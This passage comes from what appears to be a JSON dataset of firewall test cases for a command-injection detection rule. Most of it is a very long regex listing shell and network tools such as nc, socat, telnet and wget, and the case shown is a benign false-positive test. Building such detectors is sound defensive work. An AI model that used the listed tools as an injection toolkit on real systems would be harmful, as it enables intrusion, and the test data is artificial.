"(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a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)|r(?:[\\s\\x0b&\\),<>\\|]|$|j(?:[\\s\\x0b&\\),<>\\|]|$|-register|disp)|(?:p|ch)(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|cii(?:-xfr|85)|pell)|dd(?:group|user)|getty|nsible|u(?:ditctl|repot|search))|b(?:z(?:(?:z|c(?:at|mp))(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more)|a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|io(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:t(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-ftp|plan)|ofetch)|(?:l|p(?:m|ing)|a(?:no|sm|wk)|ice|o(?:de|hup)|roff)(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:[\\s\\x0b&\\),<>\\|]|$|ap(?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|k[eu])|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:[\\s\\x0b&\\),<>\\|]|$|p(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:d(?:[\\s\\x0b&\\),<>\\|]|$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|place)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|ftp|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:c|atch)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932239", "test_description": "False positive test with legitimate browser containing ; PGT" } }, { "input": { "malicious_payload": [ { "location": "header_referer", "value": "https://www.example.com/xyz/?abc=dfc987c2-72e2-4a8e-ad98-e0bf1bc3a01c" } ], "attack_context": { "method": "POST", "location": [ "header_referer" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?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\x5c?t)|[\\n\\r;=`\\{]|\\|\\|?|&&?|\\$(?:\\(\\(?|[\\[\\{])|<(?:\\(|<<)|>\\(|\\([\\s\\x0b]*\\))[\\s\\x0b]*(?:[\\$\\{]|(?:[\\s\\x0b]*\\(|!)[\\s\\x0b]*|[0-9A-Z_a-z]+=(?:[^\\s\\x0b]*|\\$(?:.*|.*)|[<>].*|'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+)*[\\s\\x0b]*[\\\"']*(?:[\\\"'-\\+\\--9\\?A-\\]_a-z\\|]+/)?[\\\"'\\x5c]*(?:7z(?:[\\s\\x0b&\\),<>\\|]|$|[arx](?:[\\s\\x0b&\\),<>\\|]|$))|a(?:a-[^\\s\\x0b]{1,10}\\b|(?:b|w[ks]|l(?:ias|pine)|tobm|xel)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:t(?:[\\s\\x0b&\\),<>\\|]|$|-get)|parmor_[^\\s\\x0b]{1,10}\\b)|r(?:[\\s\\x0b&\\),<>\\|]|$|j(?:[\\s\\x0b&\\),<>\\|]|$|-register|disp)|(?:p|ch)(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|cii(?:-xfr|85)|pell)|dd(?:group|user)|getty|nsible|u(?:ditctl|repot|search))|b(?:z(?:(?:z|c(?:at|mp))(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more)|a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|io(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:t(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-ftp|plan)|ofetch)|(?:l|p(?:m|ing)|a(?:no|sm|wk)|ice|o(?:de|hup)|roff)(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:[\\s\\x0b&\\),<>\\|]|$|ap(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:(?:d|ctave)(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:x|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:[\\s\\x0b&\\),<>\\|]|$|2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:[\\s\\x0b&\\),<>\\|]|$|tp(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$|o(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:[^\\s\\x0b]{1,10}\\b|[\\s\\x0b&\\),<>\\|]|$)|dstat|(?:gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$))|k(?:g(?:[\\s\\x0b&\\),<>\\|]|$|_?info)|exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:[\\s\\x0b&\\),<>\\|]|$|y(?:[\\s\\x0b&\\),<>\\|]|$)|int(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$)))|t(?:x(?:[\\s\\x0b&\\),<>\\|]|$)|ar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep))|wd(?:[\\s\\x0b&\\),<>\\|]|$|\\.db)|(?:xz|grep|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|y(?:3?versions|thon[23]))|r(?:(?:a(?:r|k[eu])|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:[\\s\\x0b&\\),<>\\|]|$|p(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:d(?:[\\s\\x0b&\\),<>\\|]|$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|place)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|ftp|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\